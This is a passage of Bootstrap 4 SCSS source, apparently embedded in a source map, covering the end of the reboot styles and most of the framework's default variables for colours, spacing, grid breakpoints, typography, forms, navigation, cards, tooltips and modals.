0;\n  // Reset the default outline behavior of fieldsets so they don't affect page layout.\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%; // 1\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit; // 2\n  white-space: normal; // 1\n}\n\nprogress {\n  vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  // This overrides the extra rounded corners on search inputs in iOS so that our\n  // `.form-control` class can properly style them. Note that this cannot simply\n  // be added to `.form-control` as it's not specific enough. For details, see\n  // https://github.com/twbs/bootstrap/issues/11586.\n  outline-offset: -2px; // 2. Correct the outline style in Safari.\n  -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n  font: inherit; // 2\n  -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item; // Add the correct display in all browsers\n  cursor: pointer;\n}\n\ntemplate {\n  display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n  display: none !important;\n}\n","// Variables\n//\n// Variables should follow the `$component-state-property-size` formula for\n// consistent naming. Ex: $nav-link-disabled-color and $modal-content-box-shadow-xs.\n\n\n//\n// Color system\n//\n\n// stylelint-disable\n$white:    #fff !default;\n$gray-100: #f8f9fa !default;\n$gray-200: #e9ecef !default;\n$gray-300: #dee2e6 !default;\n$gray-400: #ced4da !default;\n$gray-500: #adb5bd !default;\n$gray-600: #6c757d !default;\n$gray-700: #495057 !default;\n$gray-800: #343a40 !default;\n$gray-900: #212529 !default;\n$black:    #000 !default;\n\n$grays: () !default;\n$grays: map-merge((\n  \"100\": $gray-100,\n  \"200\": $gray-200,\n  \"300\": $gray-300,\n  \"400\": $gray-400,\n  \"500\": $gray-500,\n  \"600\": $gray-600,\n  \"700\": $gray-700,\n  \"800\": $gray-800,\n  \"900\": $gray-900\n), $grays);\n\n$blue:    #007bff !default;\n$indigo:  #6610f2 !default;\n$purple:  #6f42c1 !default;\n$pink:    #e83e8c !default;\n$red:     #dc3545 !default;\n$orange:  #fd7e14 !default;\n$yellow:  #ffc107 !default;\n$green:   #28a745 !default;\n$teal:    #20c997 !default;\n$cyan:    #17a2b8 !default;\n\n$colors: () !default;\n$colors: map-merge((\n  \"blue\":       $blue,\n  \"indigo\":     $indigo,\n  \"purple\":     $purple,\n  \"pink\":       $pink,\n  \"red\":        $red,\n  \"orange\":     $orange,\n  \"yellow\":     $yellow,\n  \"green\":      $green,\n  \"teal\":       $teal,\n  \"cyan\":       $cyan,\n  \"white\":      $white,\n  \"gray\":       $gray-600,\n  \"gray-dark\":  $gray-800\n), $colors);\n\n$primary:       $blue !default;\n$secondary:     $gray-600 !default;\n$success:       $green !default;\n$info:          $cyan !default;\n$warning:       $yellow !default;\n$danger:        $red !default;\n$light:         $gray-100 !default;\n$dark:          $gray-800 !default;\n\n$theme-colors: () !default;\n$theme-colors: map-merge((\n  \"primary\":    $primary,\n  \"secondary\":  $secondary,\n  \"success\":    $success,\n  \"info\":       $info,\n  \"warning\":    $warning,\n  \"danger\":     $danger,\n  \"light\":      $light,\n  \"dark\":       $dark\n), $theme-colors);\n// stylelint-enable\n\n// Set a specific jump point for requesting color jumps\n$theme-color-interval:      8% !default;\n\n// The yiq lightness value that determines when the lightness of color changes from \"dark\" to \"light\". Acceptable values are between 0 and 255.\n$yiq-contrasted-threshold:  150 !default;\n\n// Customize the light and dark text colors for use in our YIQ color contrast function.\n$yiq-text-dark:             $gray-900 !default;\n$yiq-text-light:            $white !default;\n\n// Options\n//\n// Quickly modify global styling by enabling or disabling optional features.\n\n$enable-caret:              true !default;\n$enable-rounded:            true !default;\n$enable-shadows:            false !default;\n$enable-gradients:          false !default;\n$enable-transitions:        true !default;\n$enable-hover-media-query:  false !default; // Deprecated, no longer affects any compiled CSS\n$enable-grid-classes:       true !default;\n$enable-print-styles:       true !default;\n\n\n// Spacing\n//\n// Control the default styling of most Bootstrap elements by modifying these\n// variables. Mostly focused on spacing.\n// You can add more entries to the $spacers map, should you need more variation.\n\n// stylelint-disable\n$spacer: 1rem !default;\n$spacers: () !default;\n$spacers: map-merge((\n  0: 0,\n  1: ($spacer * .25),\n  2: ($spacer * .5),\n  3: $spacer,\n  4: ($spacer * 1.5),\n  5: ($spacer * 3)\n), $spacers);\n\n// This variable affects the `.h-*` and `.w-*` classes.\n$sizes: () !default;\n$sizes: map-merge((\n  25: 25%,\n  50: 50%,\n  75: 75%,\n  100: 100%,\n  auto: auto\n), $sizes);\n// stylelint-enable\n\n// Body\n//\n// Settings for the `<body>` element.\n\n$body-bg:                   $white !default;\n$body-color:                $gray-900 !default;\n\n// Links\n//\n// Style anchor elements.\n\n$link-color:                theme-color(\"primary\") !default;\n$link-decoration:           none !default;\n$link-hover-color:          darken($link-color, 15%) !default;\n$link-hover-decoration:     underline !default;\n\n// Paragraphs\n//\n// Style p element.\n\n$paragraph-margin-bottom:   1rem !default;\n\n\n// Grid breakpoints\n//\n// Define the minimum dimensions at which your layout will change,\n// adapting to different screen sizes, for use in media queries.\n\n$grid-breakpoints: (\n  xs: 0,\n  sm: 576px,\n  md: 768px,\n  lg: 992px,\n  xl: 1200px\n) !default;\n\n@include _assert-ascending($grid-breakpoints, \"$grid-breakpoints\");\n@include _assert-starts-at-zero($grid-breakpoints);\n\n\n// Grid containers\n//\n// Define the maximum width of `.container` for different screen sizes.\n\n$container-max-widths: (\n  sm: 540px,\n  md: 720px,\n  lg: 960px,\n  xl: 1140px\n) !default;\n\n@include _assert-ascending($container-max-widths, \"$container-max-widths\");\n\n\n// Grid columns\n//\n// Set the number of columns and specify the width of the gutters.\n\n$grid-columns:                12 !default;\n$grid-gutter-width:           30px !default;\n\n// Components\n//\n// Define common padding and border radius sizes and more.\n\n$line-height-lg:              1.5 !default;\n$line-height-sm:              1.5 !default;\n\n$border-width:                1px !default;\n$border-color:                $gray-300 !default;\n\n$border-radius:               .25rem !default;\n$border-radius-lg:            .3rem !default;\n$border-radius-sm:            .2rem !default;\n\n$box-shadow-sm:               0 .125rem .25rem rgba($black, .075) !default;\n$box-shadow:                  0 .5rem 1rem rgba($black, .15) !default;\n$box-shadow-lg:               0 1rem 3rem rgba($black, .175) !default;\n\n$component-active-color:      $white !default;\n$component-active-bg:         theme-color(\"primary\") !default;\n\n$caret-width:                 .3em !default;\n\n$transition-base:             all .2s ease-in-out !default;\n$transition-fade:             opacity .15s linear !default;\n$transition-collapse:         height .35s ease !default;\n\n\n// Fonts\n//\n// Font, line-height, and color for body text, headings, and more.\n\n// stylelint-disable value-keyword-case\n$font-family-sans-serif:      -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\" !default;\n$font-family-monospace:       SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace !default;\n$font-family-base:            $font-family-sans-serif !default;\n// stylelint-enable value-keyword-case\n\n$font-size-base:              1rem !default; // Assumes the browser default, typically `16px`\n$font-size-lg:                ($font-size-base * 1.25) !default;\n$font-size-sm:                ($font-size-base * .875) !default;\n\n$font-weight-light:           300 !default;\n$font-weight-normal:          400 !default;\n$font-weight-bold:            700 !default;\n\n$font-weight-base:            $font-weight-normal !default;\n$line-height-base:            1.5 !default;\n\n$h1-font-size:                $font-size-base * 2.5 !default;\n$h2-font-size:                $font-size-base * 2 !default;\n$h3-font-size:                $font-size-base * 1.75 !default;\n$h4-font-size:                $font-size-base * 1.5 !default;\n$h5-font-size:                $font-size-base * 1.25 !default;\n$h6-font-size:                $font-size-base !default;\n\n$headings-margin-bottom:      ($spacer / 2) !default;\n$headings-font-family:        inherit !default;\n$headings-font-weight:        500 !default;\n$headings-line-height:        1.2 !default;\n$headings-color:              inherit !default;\n\n$display1-size:               6rem !default;\n$display2-size:               5.5rem !default;\n$display3-size:               4.5rem !default;\n$display4-size:               3.5rem !default;\n\n$display1-weight:             300 !default;\n$display2-weight:             300 !default;\n$display3-weight:             300 !default;\n$display4-weight:             300 !default;\n$display-line-height:         $headings-line-height !default;\n\n$lead-font-size:              ($font-size-base * 1.25) !default;\n$lead-font-weight:            300 !default;\n\n$small-font-size:             80% !default;\n\n$text-muted:                  $gray-600 !default;\n\n$blockquote-small-color:      $gray-600 !default;\n$blockquote-font-size:        ($font-size-base * 1.25) !default;\n\n$hr-border-color:             rgba($black, .1) !default;\n$hr-border-width:             $border-width !default;\n\n$mark-padding:                .2em !default;\n\n$dt-font-weight:              $font-weight-bold !default;\n\n$kbd-box-shadow:              inset 0 -.1rem 0 rgba($black, .25) !default;\n$nested-kbd-font-weight:      $font-weight-bold !default;\n\n$list-inline-padding:         .5rem !default;\n\n$mark-bg:                     #fcf8e3 !default;\n\n$hr-margin-y:                 $spacer !default;\n\n\n// Tables\n//\n// Customizes the `.table` component with basic values, each used across all table variations.\n\n$table-cell-padding:          .75rem !default;\n$table-cell-padding-sm:       .3rem !default;\n\n$table-bg:                    transparent !default;\n$table-accent-bg:             rgba($black, .05) !default;\n$table-hover-bg:              rgba($black, .075) !default;\n$table-active-bg:             $table-hover-bg !default;\n\n$table-border-width:          $border-width !default;\n$table-border-color:          $gray-300 !default;\n\n$table-head-bg:               $gray-200 !default;\n$table-head-color:            $gray-700 !default;\n\n$table-dark-bg:               $gray-900 !default;\n$table-dark-accent-bg:        rgba($white, .05) !default;\n$table-dark-hover-bg:         rgba($white, .075) !default;\n$table-dark-border-color:     lighten($gray-900, 7.5%) !default;\n$table-dark-color:            $body-bg !default;\n\n$table-striped-order:         odd !default;\n\n$table-caption-color:         $text-muted !default;\n\n// Buttons + Forms\n//\n// Shared variables that are reassigned to `$input-` and `$btn-` specific variables.\n\n$input-btn-padding-y:         .375rem !default;\n$input-btn-padding-x:         .75rem !default;\n$input-btn-line-height:       $line-height-base !default;\n\n$input-btn-focus-width:       .2rem !default;\n$input-btn-focus-color:       rgba($component-active-bg, .25) !default;\n$input-btn-focus-box-shadow:  0 0 0 $input-btn-focus-width $input-btn-focus-color !default;\n\n$input-btn-padding-y-sm:      .25rem !default;\n$input-btn-padding-x-sm:      .5rem !default;\n$input-btn-line-height-sm:    $line-height-sm !default;\n\n$input-btn-padding-y-lg:      .5rem !default;\n$input-btn-padding-x-lg:      1rem !default;\n$input-btn-line-height-lg:    $line-height-lg !default;\n\n$input-btn-border-width:      $border-width !default;\n\n\n// Buttons\n//\n// For each of Bootstrap's buttons, define text, background, and border color.\n\n$btn-padding-y:               $input-btn-padding-y !default;\n$btn-padding-x:               $input-btn-padding-x !default;\n$btn-line-height:             $input-btn-line-height !default;\n\n$btn-padding-y-sm:            $input-btn-padding-y-sm !default;\n$btn-padding-x-sm:            $input-btn-padding-x-sm !default;\n$btn-line-height-sm:          $input-btn-line-height-sm !default;\n\n$btn-padding-y-lg:            $input-btn-padding-y-lg !default;\n$btn-padding-x-lg:            $input-btn-padding-x-lg !default;\n$btn-line-height-lg:          $input-btn-line-height-lg !default;\n\n$btn-border-width:            $input-btn-border-width !default;\n\n$btn-font-weight:             $font-weight-normal !default;\n$btn-box-shadow:              inset 0 1px 0 rgba($white, .15), 0 1px 1px rgba($black, .075) !default;\n$btn-focus-width:             $input-btn-focus-width !default;\n$btn-focus-box-shadow:        $input-btn-focus-box-shadow !default;\n$btn-disabled-opacity:        .65 !default;\n$btn-active-box-shadow:       inset 0 3px 5px rgba($black, .125) !default;\n\n$btn-link-disabled-color:     $gray-600 !default;\n\n$btn-block-spacing-y:         .5rem !default;\n\n// Allows for customizing button radius independently from global border radius\n$btn-border-radius:           $border-radius !default;\n$btn-border-radius-lg:        $border-radius-lg !default;\n$btn-border-radius-sm:        $border-radius-sm !default;\n\n$btn-transition:              color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n\n// Forms\n\n$label-margin-bottom:                   .5rem !default;\n\n$input-padding-y:                       $input-btn-padding-y !default;\n$input-padding-x:                       $input-btn-padding-x !default;\n$input-line-height:                     $input-btn-line-height !default;\n\n$input-padding-y-sm:                    $input-btn-padding-y-sm !default;\n$input-padding-x-sm:                    $input-btn-padding-x-sm !default;\n$input-line-height-sm:                  $input-btn-line-height-sm !default;\n\n$input-padding-y-lg:                    $input-btn-padding-y-lg !default;\n$input-padding-x-lg:                    $input-btn-padding-x-lg !default;\n$input-line-height-lg:                  $input-btn-line-height-lg !default;\n\n$input-bg:                              $white !default;\n$input-disabled-bg:                     $gray-200 !default;\n\n$input-color:                           $gray-700 !default;\n$input-border-color:                    $gray-400 !default;\n$input-border-width:                    $input-btn-border-width !default;\n$input-box-shadow:                      inset 0 1px 1px rgba($black, .075) !default;\n\n$input-border-radius:                   $border-radius !default;\n$input-border-radius-lg:                $border-radius-lg !default;\n$input-border-radius-sm:                $border-radius-sm !default;\n\n$input-focus-bg:                        $input-bg !default;\n$input-focus-border-color:              lighten($component-active-bg, 25%) !default;\n$input-focus-color:                     $input-color !default;\n$input-focus-width:                     $input-btn-focus-width !default;\n$input-focus-box-shadow:                $input-btn-focus-box-shadow !default;\n\n$input-placeholder-color:               $gray-600 !default;\n$input-plaintext-color:                 $body-color !default;\n\n$input-height-border:                   $input-border-width * 2 !default;\n\n$input-height-inner:                    ($font-size-base * $input-btn-line-height) + ($input-btn-padding-y * 2) !default;\n$input-height:                          calc(#{$input-height-inner} + #{$input-height-border}) !default;\n\n$input-height-inner-sm:                 ($font-size-sm * $input-btn-line-height-sm) + ($input-btn-padding-y-sm * 2) !default;\n$input-height-sm:                       calc(#{$input-height-inner-sm} + #{$input-height-border}) !default;\n\n$input-height-inner-lg:                 ($font-size-lg * $input-btn-line-height-lg) + ($input-btn-padding-y-lg * 2) !default;\n$input-height-lg:                       calc(#{$input-height-inner-lg} + #{$input-height-border}) !default;\n\n$input-transition:                      border-color .15s ease-in-out, box-shadow .15s ease-in-out !default;\n\n$form-text-margin-top:                  .25rem !default;\n\n$form-check-input-gutter:               1.25rem !default;\n$form-check-input-margin-y:             .3rem !default;\n$form-check-input-margin-x:             .25rem !default;\n\n$form-check-inline-margin-x:            .75rem !default;\n$form-check-inline-input-margin-x:      .3125rem !default;\n\n$form-group-margin-bottom:              1rem !default;\n\n$input-group-addon-color:               $input-color !default;\n$input-group-addon-bg:                  $gray-200 !default;\n$input-group-addon-border-color:        $input-border-color !default;\n\n$custom-control-gutter:                 1.5rem !default;\n$custom-control-spacer-x:               1rem !default;\n\n$custom-control-indicator-size:         1rem !default;\n$custom-control-indicator-bg:           $gray-300 !default;\n$custom-control-indicator-bg-size:      50% 50% !default;\n$custom-control-indicator-box-shadow:   inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-control-indicator-disabled-bg:          $gray-200 !default;\n$custom-control-label-disabled-color:           $gray-600 !default;\n\n$custom-control-indicator-checked-color:        $component-active-color !default;\n$custom-control-indicator-checked-bg:           $component-active-bg !default;\n$custom-control-indicator-checked-disabled-bg:  rgba(theme-color(\"primary\"), .5) !default;\n$custom-control-indicator-checked-box-shadow:   none !default;\n\n$custom-control-indicator-focus-box-shadow:     0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n\n$custom-control-indicator-active-color:         $component-active-color !default;\n$custom-control-indicator-active-bg:            lighten($component-active-bg, 35%) !default;\n$custom-control-indicator-active-box-shadow:    none !default;\n\n$custom-checkbox-indicator-border-radius:       $border-radius !default;\n$custom-checkbox-indicator-icon-checked:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='#{$custom-control-indicator-checked-color}' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-checkbox-indicator-indeterminate-bg:          $component-active-bg !default;\n$custom-checkbox-indicator-indeterminate-color:       $custom-control-indicator-checked-color !default;\n$custom-checkbox-indicator-icon-indeterminate:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow:  none !default;\n\n$custom-radio-indicator-border-radius:          50% !default;\n$custom-radio-indicator-icon-checked:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y:           .375rem !default;\n$custom-select-padding-x:           .75rem !default;\n$custom-select-height:              $input-height !default;\n$custom-select-indicator-padding:   1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height:         $input-btn-line-height !default;\n$custom-select-color:               $input-color !default;\n$custom-select-disabled-color:      $gray-600 !default;\n$custom-select-bg:                  $input-bg !default;\n$custom-select-disabled-bg:         $gray-200 !default;\n$custom-select-bg-size:             8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color:     $gray-800 !default;\n$custom-select-indicator:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width:        $input-btn-border-width !default;\n$custom-select-border-color:        $input-border-color !default;\n$custom-select-border-radius:       $border-radius !default;\n\n$custom-select-focus-border-color:  $input-focus-border-color !default;\n$custom-select-focus-box-shadow:    inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm:        75% !default;\n$custom-select-height-sm:           $input-height-sm !default;\n\n$custom-select-font-size-lg:        125% !default;\n$custom-select-height-lg:           $input-height-lg !default;\n\n$custom-range-track-width:          100% !default;\n$custom-range-track-height:         .5rem !default;\n$custom-range-track-cursor:         pointer !default;\n$custom-range-track-bg:             $gray-300 !default;\n$custom-range-track-border-radius:  1rem !default;\n$custom-range-track-box-shadow:     inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width:            1rem !default;\n$custom-range-thumb-height:           $custom-range-thumb-width !default;\n$custom-range-thumb-bg:               $component-active-bg !default;\n$custom-range-thumb-border:           0 !default;\n$custom-range-thumb-border-radius:    1rem !default;\n$custom-range-thumb-box-shadow:       0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg:        lighten($component-active-bg, 35%) !default;\n\n$custom-file-height:                $input-height !default;\n$custom-file-focus-border-color:    $input-focus-border-color !default;\n$custom-file-focus-box-shadow:      $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y:             $input-btn-padding-y !default;\n$custom-file-padding-x:             $input-btn-padding-x !default;\n$custom-file-line-height:           $input-btn-line-height !default;\n$custom-file-color:                 $input-color !default;\n$custom-file-bg:                    $input-bg !default;\n$custom-file-border-width:          $input-btn-border-width !default;\n$custom-file-border-color:          $input-border-color !default;\n$custom-file-border-radius:         $input-border-radius !default;\n$custom-file-box-shadow:            $input-box-shadow !default;\n$custom-file-button-color:          $custom-file-color !default;\n$custom-file-button-bg:             $input-group-addon-bg !default;\n$custom-file-text: (\n  en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top:          $form-text-margin-top !default;\n$form-feedback-font-size:           $small-font-size !default;\n$form-feedback-valid-color:         theme-color(\"success\") !default;\n$form-feedback-invalid-color:       theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width:                10rem !default;\n$dropdown-padding-y:                .5rem !default;\n$dropdown-spacer:                   .125rem !default;\n$dropdown-bg:                       $white !default;\n$dropdown-border-color:             rgba($black, .15) !default;\n$dropdown-border-radius:            $border-radius !default;\n$dropdown-border-width:             $border-width !default;\n$dropdown-divider-bg:               $gray-200 !default;\n$dropdown-box-shadow:               0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color:               $gray-900 !default;\n$dropdown-link-hover-color:         darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg:            $gray-100 !default;\n\n$dropdown-link-active-color:        $component-active-color !default;\n$dropdown-link-active-bg:           $component-active-bg !default;\n\n$dropdown-link-disabled-color:      $gray-600 !default;\n\n$dropdown-item-padding-y:           .25rem !default;\n$dropdown-item-padding-x:           1.5rem !default;\n\n$dropdown-header-color:             $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown:                   1000 !default;\n$zindex-sticky:                     1020 !default;\n$zindex-fixed:                      1030 !default;\n$zindex-modal-backdrop:             1040 !default;\n$zindex-modal:                      1050 !default;\n$zindex-popover:                    1060 !default;\n$zindex-tooltip:                    1070 !default;\n\n// Navs\n\n$nav-link-padding-y:                .5rem !default;\n$nav-link-padding-x:                1rem !default;\n$nav-link-disabled-color:           $gray-600 !default;\n\n$nav-tabs-border-color:             $gray-300 !default;\n$nav-tabs-border-width:             $border-width !default;\n$nav-tabs-border-radius:            $border-radius !default;\n$nav-tabs-link-hover-border-color:  $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color:        $gray-700 !default;\n$nav-tabs-link-active-bg:           $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius:           $border-radius !default;\n$nav-pills-link-active-color:       $component-active-color !default;\n$nav-pills-link-active-bg:          $component-active-bg !default;\n\n$nav-divider-color:                 $gray-200 !default;\n$nav-divider-margin-y:              ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y:                  ($spacer / 2) !default;\n$navbar-padding-x:                  $spacer !default;\n\n$navbar-nav-link-padding-x:         .5rem !default;\n\n$navbar-brand-font-size:            $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height:                   ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height:               $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y:            ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y:          .25rem !default;\n$navbar-toggler-padding-x:          .75rem !default;\n$navbar-toggler-font-size:          $font-size-lg !default;\n$navbar-toggler-border-radius:      $btn-border-radius !default;\n\n$navbar-dark-color:                 rgba($white, .5) !default;\n$navbar-dark-hover-color:           rgba($white, .75) !default;\n$navbar-dark-active-color:          $white !default;\n$navbar-dark-disabled-color:        rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg:       str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color:  rgba($white, .1) !default;\n\n$navbar-light-color:                rgba($black, .5) !default;\n$navbar-light-hover-color:          rgba($black, .7) !default;\n$navbar-light-active-color:         rgba($black, .9) !default;\n$navbar-light-disabled-color:       rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg:      str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y:              .5rem !default;\n$pagination-padding-x:              .75rem !default;\n$pagination-padding-y-sm:           .25rem !default;\n$pagination-padding-x-sm:           .5rem !default;\n$pagination-padding-y-lg:           .75rem !default;\n$pagination-padding-x-lg:           1.5rem !default;\n$pagination-line-height:            1.25 !default;\n\n$pagination-color:                  $link-color !default;\n$pagination-bg:                     $white !default;\n$pagination-border-width:           $border-width !default;\n$pagination-border-color:           $gray-300 !default;\n\n$pagination-focus-box-shadow:       $input-btn-focus-box-shadow !default;\n$pagination-focus-outline:          0 !default;\n\n$pagination-hover-color:            $link-hover-color !default;\n$pagination-hover-bg:               $gray-200 !default;\n$pagination-hover-border-color:     $gray-300 !default;\n\n$pagination-active-color:           $component-active-color !default;\n$pagination-active-bg:              $component-active-bg !default;\n$pagination-active-border-color:    $pagination-active-bg !default;\n\n$pagination-disabled-color:         $gray-600 !default;\n$pagination-disabled-bg:            $white !default;\n$pagination-disabled-border-color:  $gray-300 !default;\n\n\n// Jumbotron\n\n$jumbotron-padding:                 2rem !default;\n$jumbotron-bg:                      $gray-200 !default;\n\n\n// Cards\n\n$card-spacer-y:                     .75rem !default;\n$card-spacer-x:                     1.25rem !default;\n$card-border-width:                 $border-width !default;\n$card-border-radius:                $border-radius !default;\n$card-border-color:                 rgba($black, .125) !default;\n$card-inner-border-radius:          calc(#{$card-border-radius} - #{$card-border-width}) !default;\n$card-cap-bg:                       rgba($black, .03) !default;\n$card-bg:                           $white !default;\n\n$card-img-overlay-padding:          1.25rem !default;\n\n$card-group-margin:                 ($grid-gutter-width / 2) !default;\n$card-deck-margin:                  $card-group-margin !default;\n\n$card-columns-count:                3 !default;\n$card-columns-gap:                  1.25rem !default;\n$card-columns-margin:               $card-spacer-y !default;\n\n\n// Tooltips\n\n$tooltip-font-size:                 $font-size-sm !default;\n$tooltip-max-width:                 200px !default;\n$tooltip-color:                     $white !default;\n$tooltip-bg:                        $black !default;\n$tooltip-border-radius:             $border-radius !default;\n$tooltip-opacity:                   .9 !default;\n$tooltip-padding-y:                 .25rem !default;\n$tooltip-padding-x:                 .5rem !default;\n$tooltip-margin:                    0 !default;\n\n$tooltip-arrow-width:               .8rem !default;\n$tooltip-arrow-height:              .4rem !default;\n$tooltip-arrow-color:               $tooltip-bg !default;\n\n\n// Popovers\n\n$popover-font-size:                 $font-size-sm !default;\n$popover-bg:                        $white !default;\n$popover-max-width:                 276px !default;\n$popover-border-width:              $border-width !default;\n$popover-border-color:              rgba($black, .2) !default;\n$popover-border-radius:             $border-radius-lg !default;\n$popover-box-shadow:                0 .25rem .5rem rgba($black, .2) !default;\n\n$popover-header-bg:                 darken($popover-bg, 3%) !default;\n$popover-header-color:              $headings-color !default;\n$popover-header-padding-y:          .5rem !default;\n$popover-header-padding-x:          .75rem !default;\n\n$popover-body-color:                $body-color !default;\n$popover-body-padding-y:            $popover-header-padding-y !default;\n$popover-body-padding-x:            $popover-header-padding-x !default;\n\n$popover-arrow-width:               1rem !default;\n$popover-arrow-height:              .5rem !default;\n$popover-arrow-color:               $popover-bg !default;\n\n$popover-arrow-outer-color:         fade-in($popover-border-color, .05) !default;\n\n\n// Badges\n\n$badge-font-size:                   75% !default;\n$badge-font-weight:                 $font-weight-bold !default;\n$badge-padding-y:                   .25em !default;\n$badge-padding-x:                   .4em !default;\n$badge-border-radius:               $border-radius !default;\n\n$badge-pill-padding-x:              .6em !default;\n// Use a higher than normal value to ensure completely rounded edges when\n// customizing padding or font-size on labels.\n$badge-pill-border-radius:          10rem !default;\n\n\n// Modals\n\n// Padding applied to the modal body\n$modal-inner-padding:               1rem !default;\n\n$modal-dialog-margin:               .5rem !default;\n$modal-dialog-margin-y-sm-up:       1.75rem !default;\n\n$modal-title-line-height:           $line-height-base !default;\n\n$modal-content-bg:                  $white !default;\n$modal-content-border-color:        rgba($black, .2) !default;\n$modal-content-border-width:        $border-width !default;\n$modal-content-border-radius:       $border-radius-lg !default;\n$modal-content-box-shadow-xs:       0 .25rem .5rem rgba($black, .5) !default;\n$modal-content-box-shadow-sm-up:    0 .5rem 1rem rgba($black, .5) !default;\n\n$modal-backdrop-bg:                 $black !default;\n$modal-backdrop-opacity:            .5 !default;\n$modal-header-border-color:         $gray-200 !default;\n$modal-footer-border-color:         $modal-header-border-color !default;\n$modal-header-border-width:         $modal-content-border-width !default;\n$modal-footer-border-width:         $modal-header-border-width !default;\n$modal-header-padding:              1rem !default;\n\n$modal-lg:                          800px !default;\n$modal-md:                          500px !default;\n$modal-sm:                          300px !default;\n\n$modal-transition:                  transform .3s ease-out !default;\n\n\n// Alerts\n//\n// Define alert colors, border radius, and padding.\n\n$alert-padding-y:                   .75rem !default;\n$alert-padding-x:                   1.25rem !default;\n$alert-margin-bottom:               1rem 